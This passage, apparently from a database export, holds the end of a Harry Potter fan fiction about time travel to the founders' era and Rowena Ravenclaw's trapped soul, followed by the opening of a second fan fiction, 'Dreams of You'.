Hall, it occurred to me that there wouldn&#8217;t be the usual\ncrowd of students milling about inside. The hall itself looked largely the same\nas I remembered it, but the Founders asked us to eat at the High Table.\nHermione was excited, and told me she had wanted to be a teacher since she was\nyoung, and that being a professor at Hogwarts would be an honour. I had to\nadmit, it would be interesting, though I wouldn\'t look forward to working with\nSnape.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*Hermione\'s POV*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was a quiet breakfast, which we found unusual, being\naccustomed to the noisy breakfasts of Hogwarts in the future. Slytherin seemed\nto be doing his most to give us the creeps, and I found myself relieved that I\ndidn\'t have to sit with him. Helga and Rowena were both very friendly.\nGodric... He\'s so much like Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So...&quot; Godric said, breaking the silence.\n&quot;What year are you two in?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Sixth,&quot; I replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ah... do you like Hogwarts much?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded, &quot;It\'s home.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I smiled. I knew Harry thought of Hogwarts as home, at least\nmore so Privet Drive. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I noticed what Rowena was holding fondly the night before.\nThere it was, a pendant, a glass rose.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh that\'s a beautiful pendant, Lady Ravenclaw!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Rowena blushed and her hand went to it again, protectively.\nHelga grinned, &quot;Oh that? Yes, we know, Godric gave it to her... Rowena\nloves the thing.&quot; If it was possible, Rowena turned a deeper shade of\npink. The other two founders had different reactions. Salazar scowled slightly\nand Godric had a tinge of pink himself. Helga in turn frowned at Salazar..</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A love square.. and I bet they don\'t even see it..</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There was a loud thunk beside me. Harry\'s goblet felt and he\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What if we just went through the clock again?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Helga stared. &quot;But&#8230; Salazar and Godric said that it\nonly worked one-way&#8230; they&#8217;re still perfecting it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I thought for a second, &quot;But in our time&#8230; they could\'ve\nalready.. it\'s possible, isn\'t it?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It is,&quot; Godric said. &quot;But if not... you\ncould be sent to another time&#8230; another place.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I doubt it\'ll work at all,&quot; Salazar said coldly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s worth a try, isn\'t it?&quot; Harry persisted. I\nsmiled, knowing what it must be costing Harry to act civilly to Salazar.\nReluctantly, Salazar agreed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">&quot;You\'re going to be fine,&quot; Hermione told him,\nthough she looked positively terrified.</p>\n\n<p class="MsoNormal">~ Harry Potter and the Prisoner of Azkaban by J.K. Rowling</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">Hermione looked at the clock in dismay. She touched it yet\nher hand did not go through, and she moaned forlornly.</p>\n\n<p class="MsoNormal">&quot;A spell? An enchantment?&#8221; Harry suggested hopefully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The Hogwarts Four looked to be in deep thought. Rowena\nraised an eyebrow, &quot;What did you two do anyway?&quot; she was referring to\nGodric and Salazar.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;A potion,&quot; Salazar answered at the same time as Godric\nsaid, &quot;A charm.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Helga frowned, &quot;You two used a combination?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Salazar and Godric frowned at each other,\n&quot;Unfortunately.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked at the clock thoughtfully. He noticed the clock\nhands had stopped. &quot;Wait a minute,&quot; he said, &quot;The clock\'s stopped.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Salazar and Godric glanced back at it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Now that was working before,&quot; Godric said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Not when I picked up Harry and Hermione,&quot; Rowena\ncommented. Hermione gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That\'s it!&quot; Helga smiled. She approached the\nclock and turned to hands. &quot;What time where you transported here?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Close to midnight?&quot; Harry meekly answered.\nHermione blushed. The two women looked at them suspiciously and then shooed\nwhatever they were thinking away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The clock started to tick and Hermione once again carefully\ntested if it was working. Her hand went through.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It works!&quot; she gladly announced.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled and put a hand on her should again. &quot;We\'re\ngoing home,&quot; he whispered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Helga and Rowena hugged Hermione and Harry, told them to be\ncareful. Godric shook their hands while Salazar just gave them a rueful look.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The duo went into the grandfather clock happily. Yet their\nadventure wasn\'t over.</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">Ari stopped. Stared. And a cold, cold wind blew over her\nheart. What was this? What was this!</p>\n\n<p class="MsoNormal">More than a village lay ahead.</p>\n\n<p class="MsoNormal">She took one step forward. Then another.</p>\n\n<p class="MsoNormal">~ Unicorns of Balinor: the Road to Balinor by Mary Stanton</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">When Hermione and Harry stepped out they were in a dark\nroom. But this wasn\'t the Astronomy Tower. They found themselves in the dark of\nthe girls\' dormitory. No clock was behind them and all was deserted. Outside,\nthere was a fiery light shining through the windows... What on earth was going\non? When were they?!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned to look at Hermione. He could see the out line\nof her horrified face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She stuttered, &quot;We-we-we\'re n-not h-h-ho-home!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry bit his lip. &quot;We\'ll find a way.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was close to crying and Harry couldn\'t stand to see\nher that way. He was about to kiss her when two people came bursting into the\nroom. One was a teenager, the other was Rowena. Yet she was different. She was\nolder&#8230; more defined... yet she looked absolutely terrified&#8212; more so than\nHermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Rowena shouted at them, &quot;What are you all doing here?!\nI thought Sarah was the only one left behind!&quot; Sarah looked barely\nthirteen years old, and she was panting heavily. Her face was flushed deeply\nand she was coughing between her panting. She looked ill...</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Don\'t you remember us?&quot; Harry asked. &quot;You\nhad us in the summer? Harry and Hermione?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Rowena just said, &quot;We never had children over any\nsummer.&quot; she raised an eyebrow suspiciously at them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione and Harry looked at each other. &quot;No way!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sarah asked, &quot;Will everything be all right?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Rowena hugged her tightly, &quot;Everything will be all\nright.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione breathed, &quot;What\'s going on?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Rowena blinked at her, &quot;The castle\'s under\nattack...&quot;</p>\n\n<p class="MsoNormal">Then they heard it&#8230; a chanting...prejudice in the air...\nhatred...&quot;Burn the witches! The wizards! Devil dealers! BURN!&quot; Sarah\nstarted to cry.. Hermione stared at the windows, tormented.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh my God...&quot; she gasped. She clamped her hand\nover her mouth to stop herself from screaming...</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Rowena grabbed both their wrists. &quot;Listen, we must get\nto the secret passages... this is the time to do it...We have to be careful...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The three nodded and made their way slowly out of the common\nroom. There wasn\'t anyone there... but there was outside...</p>\n\n<p class="MsoNormal">Sarah whimpered behind Rowena as a man that looked like one\nof those villagers passed the portrait... Harry let out a sigh of relief and\nHermione clung to his arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Rowena nodded, &quot;Let\'s go..&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They made their way carefully downstairs to the Great Hall.\nThere was a lot of people there; non-magical people. Rowena threw a cloak over\nthem, and with a feeling of mild relief, Harry realised it was an invisibility\ncloak. They slowly travelled the length of the hall, avoiding people who were\nburning items in a huge fire in the middle of the Great Hall. Hermione watched\nwide-eyed in horror as she saw the grandfather clock being thrown in. Harry\nsqueezed her hand tightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They were behind the High Table and Harry recalled the room\nbehind it... Sarah sobbed, whispering, &quot;My Anie... they have my Anie..\nMummy gave me my Anie before she died... My Anie..&quot; Hermione looked into\nthe crowd and the burnings. There was a woman holding what looked like a small\nplush doll...</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Rowena slowly opened the door and went into the room\nunnoticed. Hermione and Harry followed. Then... as Sarah was just looking back\none more time she closed the door and ran for her doll. Rowena gasped and tried\nto go back for her but she knew it was too late. Harry looked into the darkness\nof the room.. Every child in the school was there... and the Founders. Helga\ncame over to Rowena.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What happened?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I.. I.. I don\'t know...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Her doll,&quot; Hermione said sadly, &quot;She went\nback for it..&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry hugged her tightly and everyone heard Sarah\'s piercing\nscream over the chanting... &quot;No!!!!!! Let go! MY ANIE!!!!! MAMA!!!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Rowena sank to the ground. Many were solemn, including\nSalazar and Godric. Helga went to comfort some others who were openly crying..\nShe was holding back her own tears. Hermione sobbed into Harry shoulder and\nthey both closed their eyes. The last thing they heard was someone asking, &#8220;\nLady Ravenclaw where&#8217;s your pendant?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">All was dark when Harry and Hermione opened their eyes\nagain, and once more&nbsp; they found\nthemselves in the Astronomy Tower. The clock was gone, and the sound of\napproaching footsteps echoed off the walls. It was Fred and Angelina...\n&quot;Hey, what are you guys doing here...hugging? This is a snogging place,\nyou know.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione blushed.. &quot;Er... yeah... we\'ll be leaving\nnow.&quot; She and Harry left abruptly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That was scary,&quot; she told Harry. He nodded,\nunable to talk. &quot;What do you think happened?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;She was burned to death... Sarah.&quot; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sniffed, &quot;I know... but what about Rowena&#8217;s\npendant?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry blinked, &quot;What about it?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione replied, &quot;She lost it. Maybe in the girls\'\ndormitory?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry raised an eyebrow. &quot;And?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What if it\'s still there?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What good will that do?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I don\'t know... but there\'s something significant\nabout it, and I have to find out.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They reached the Gyffindor Common Room after giving the Fat\nLady the password. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&quot;Okay. Tell me\nif you find it.&quot; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded and quietly made her way to the dormitory.\nThere was something about that pendant all right, and she had to know.</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">I noticed what Rowena was holding fondly the night before.\nThere it was, a pendant, a glass rose.</p>\n\n<p class="MsoNormal">~Star-Crossed Hearts by Kaori Lily Marie Otome XIV</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">*Hermione\'s POV*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It seemed like it never happened; yet my weariness was proof\nof what I&#8217;d been through. Emotionally I felt drained by the knowledge that I\nwould probably never know what had become of the Founders that night. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And what about the pendant? It kept coming back to my mind,\nbut why? I didn\'t want to think of any of it anymore, especially not Sarah.\nWhat they had done to her was beyond cruel.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The glass rose... what did it mean? How had anyone perfected\na glass to the shape of a rose? It must have been magic. As I rose to get\ndressed I tripped on a loose floorboard. Curious, I inspected it closer and saw\na tiny sparkle inside. Everyone else was asleep. They didn\'t like to wake up\nearly. Of course they didn&#8217;t &#8211; normally I slept in too.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I cracked the floorboard open, and there it was &#8211; the rose\npendant! It didn\'t look any older than when I&#8217;d last seen it. I picked it up.\nThen something startling happened.</p>\n\n<p class="MsoNormal">From the very core of the tiny rose sprung a liquid...\nblood? It looked like it. Oddly enough, I wasn\'t terrified... I didn\'t drop it.\nWhen the rose was filled it glowed and rose into the air slightly, blooming as\nif it were real. Looking inside I saw a light shining up. I looked up at that\nlight. A figure appeared, like a hologram &#8211; it was Rowena. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Lily?&quot; Her voice sounded like a soft haunting\necho.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I gasped and the small rose fell. I expected to hear a small\nshatter that would wake my roommates. But it fell slowly; barely touching the\nfloor then rose up just a few inches off the floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You are not Lily,&quot; Rowena said. I looked at her\neyes. She wasn\'t even looking at me, as if she was in a dream, &quot;Lily\npromised to free me, once she found true love. Where is she?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Lily?&quot; I asked, &quot;As in Lily Potter?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Rowena shook her head, &quot;No. Lily Evans. Did you say\nPotter? Oh! That\'s the one that Lily thought was her match. They didn\'t\ndivorce, did they?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I shook my head. She knew Harry\'s mother? Why did she sound,\nlike Sarah, innocent?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;But then, why didn\'t Lily free me? She\npromised...&quot; Rowena suddenly looked forlorn.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I replied solemnly, &quot;Lily and James have been dead for\nfifteen years.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Rowena finally stared at me. &quot;Oh no! But it\'s not even\nher time... she shouldn\'t have died until...&quot; her voiced faltered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I looked down. There was a long silence. I could hear either\nLavender or Parvati lightly snoring.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Can you free me?&quot; Rowena finally said, breaking\nthe silence. I looked up at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What can I do? And what happened? With you four?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She sighed as if remembering a wonderful memory from the day\nbefore. She started to speak.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~</p>\n\n<p class="MsoNormal">*Rowena\'s Story*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\'m not sure if you want to hear the entire story. I do tire\nof replaying the memories of when I was a child. I just remember being unhappy.\nI\'ve blocked it all out now, everything and everyone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I&#8217;d met Godric before, but I didn\'t find that out until\nlater in life. I wasn\'t a fast friend with Helga. I admit I was first attracted\nto Salazar; not for his dashing good looks, because Godric was dashing too, but\nfor his intelligence. That faded fairly quickly when he became tyrannical--in\nhis subtle way of course.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Godric was our leader. He was, without a doubt, born to lead.\nSalazar was reluctant still. They had no fondness for each other. They\nconstantly fought gruelling arguments. Helga and I had no idea what their\ngrudge was about. They were so persistent with every little thing. It annoyed\nus both greatly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n\n<p class="MsoNormal">Finding common feelings, Helga and I finally became friends.\nOur friendship was quite legendary... because we were great friends. No a lot\nof folks know that she and I weren\'t friends at first. In fact, Salazar was\nwarmer towards me.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That was because he was in love with me. So was Godric. It\nwasn\'t apparent, at least not at first. They gave me small gifts, favours. My\nmost treasured one was the one gift Godric gave me - my necklace with the rose\npendant. Godric did not believe in giving presents to earn a girls heart. This\nwasn\'t to earn my heart - it was a promise. We had a little argument of our own\nyou see, one that wouldn\'t really be appropriate for you to hear. But he did\nlove me. I&#8217;d known that ever since I first looked into his beautiful golden\neyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That winter solstice we gave me the necklace. Glass was\nexpensive, but he had the pendant made out of glass, and shaped perfectly into\na rose. With the help of magic? I do not know.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After the siege, the non-magical burned items and a student,\nSarah Anne... she was so innocent, a pure child. She was left asleep in the\nGyffindor Tower. I went back for her but not without protests from Helga,\nGodric, and Salazar. I got her but she was emotionally pained. I didn\'t even\nnotice that my pendant had fallen off, and I never saw it again while I was\nalive. I had her in the Great Hall when she saw a precious doll of hers, given\nfrom her mother before she died, being thrown in the fire.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She screamed for it, and ran. The non-magicals captured and\nthrew her into the flames just like any of the objects.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Salazar was in a horrible rage. He had his own dark past\nwith non-magicals, but this was the last straw. He proposed to ban what you\ncall now Muggle-borns. Godric straight out refused. Helga and I were with him\non this one. Salazar had had it. He left.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The night before he begged me, and he never begged, for me\nto come with him... to go away from Hogwarts... forever. I told him I\'d never\nleave Hogwarts and to get that idea out of his head. The next morning he was\ngone. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Godric comforted me. I had felt it was my fault that he\nleft, but both Godric and Helga knew it wasn\'t. They were the greatest friends\nI could have, maybe like your friends, whoever they may be.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Out of respect, Godric never touched me without my\npermission. I won\'t hide it though. He and I made love. Once. One cold, lonely\nnight... but I guess that it was never meant to be because he and I drifted\napart.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Us three, and Salazar too I guess, were very old by the time\nwe gave up teaching ourselves, but we still lived in Hogwarts. We couldn\'t\nleave it unlike Salazar. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I died in my sleep, tormented. Godric was distraught... poor\nGodric. My soul was trapped in darkness for about a millennium. Then there was\na light and a child, a child much like Sarah in her purity. Lily Evans. When\nshe found me, she was deeply in love with one James Potter. She promised she\nwould free me once she had a true family. But she never came and I was left in\nthe darkness for the longest of times once more.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I do not know how on earth does that pendant of mine works,\nbut it traps my soul. I knew Godric couldn\'t have done it. He didn\'t want me to\nbe torn, he couldn\'t have known. His soul is free and I seek him still. I do\nnot know if we are just condemned by some ill-fated curse but we had no luck in\nthe past. We were hoping, secretly, that we would fare better in eternity. That\nhope was ruined.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I do not know how to get free&#8230; but I want to&#8230; I need to...</p>\n\n<p class="MsoNormal">I need to be with him. My true love&#8230; my Godric... my\nstar-crossed lover..</p>\n\n<p class="MsoNormal">~</p>\n\n<p class="MsoNormal">*Hermione\'s POV*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I held my breath until the end. I didn\'t dare interrupt her\ntale. It seemed like I would ruin a masterpiece. Then when it was all done, I\nwas free to breathe, and finally let it all sink in.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">True-blue Rowena Ravenclaw, trapped and tormented in a\npendant that she truly loved? </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I asked, &quot;So, you don\'t know how you\'ll get free? What\nam I supposed to do?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I don\'t know,&quot; Rowena said sadly. &quot;I just\nwant to be with him again, and maybe see Helga. I miss her too.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I nodded. I could understand what she was feeling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Do you really love him?&quot; I asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I could never love anyone else...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I closed my eyes, &quot;Did he really love you?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That\'s what he said. That\'s what was in his\nheart,&quot; Rowena sounded doubly saddened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Then that\'s what you need to first realize... then\nyou\'ll be free...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What?&quot; I opened my eyes and saw her blink in\nconfusion.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You just need a little help...&quot; Hermione whispered.\nShe grabbed the pendant in a burst of emotion and Rowena\'s figure disappeared\nas she threw it to the hard floor and shattered. It was louder than she\nexpected and her roommates started to stir.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A wispy figure let out a releasing a breath of extreme\nrelief. I smiled. She was finally free.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But some thoughts still floated in my head. Who or what was\nmessing with reality? Rowena did not even mention us. She didn\'t even bother\nwith my name. She&#8217;d known I\'d free her... like she\'d been waiting patiently for\nme to find her. Strange but I dismissed it... just right then.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*Harry\'s POV*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I met Hermione at breakfast. I was still haunted by the\nnight before. It was all too strange.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled at me, &quot;Hey.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I wonder why she was so happy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry, do you think our hearts are star-crossed?&quot;\nthat was another odd question.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Er... no?&quot; she frowned at me. &quot;No, of course\nnot. \'Mione, why would you think that?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'ll tell you later,&quot; she smiled. A secret smile.\nI wonder what story she\'s going to tell now.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Fin&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(40, 1, '\n\n\n\n\n\n\n\n<p class="MsoBodyText"><b>Dreams of You</b></p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Silence loomed in the semi-dark common room. There were\nonly two occupants at the moment, one of them Harry Potter. He was extremely\nweary but Hermione told him if he didn&#8217;t finish their History of Magic essay on\n-- something he couldn&#8217;t even remember! -- She&#8217;d curse him. His face fell into\nhis hands. &#8216;<i>Too tired</i>&#8217; was his only thought. Heaving himself up unto the\ncouch behind him he saw Hermione was curled into a fetal position on the other,\nher back facing him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He grinned. Did she honestly expect him to finish when she\nwas asleep herself? Then suddenly Harry&#8217;s face contorted as Hermione mumbled\nsomething almost inaudible. &#8220;<i>Harry&#8230;</i>&#8221; His heart stopped. What? She was\ndreaming about him? There was a twinge of emotion in the pit of his stomach. He\ncould recognize what it was. &#8220;Don&#8217;t frost the pie&#8230;&#8221; The astonishment was gone,\nreplaced by utter confusion. Pie? &#8230; Huh? &#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione moaned and turned around. Her hair fell untidily\nacross her face and Harry couldn&#8217;t help noticing how pretty she looked like\nthat, her face half hidden in soft, brown curls. He sighed contently and laid\ndown, his eyes still focused on her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It wasn&#8217;t as if he hadn&#8217;t noticed she was pretty before.\nOr that she was girl. He&#8217;d always, unconsciously, known she was a gorgeous\ngirl. <i>Not that I&#8217;m attracted to her!</i> He added hastily to his thoughts.\nMostly it wasn&#8217;t about her looks. It was more of her bravery and intelligence&#8230;\nher loyalty and passion. <i>Er&#8230; compassion and passion for learning, I mean&#8230;\nthough sometimes I do wish she&#8217;d have passion for&#8230; wait&#8230; no! This is </i>Hermione<i>!\nWhy am I thinking of </i>that<i>? She&#8217;s my </i>friend<i>. I don&#8217;t have feelings\nfor her! At 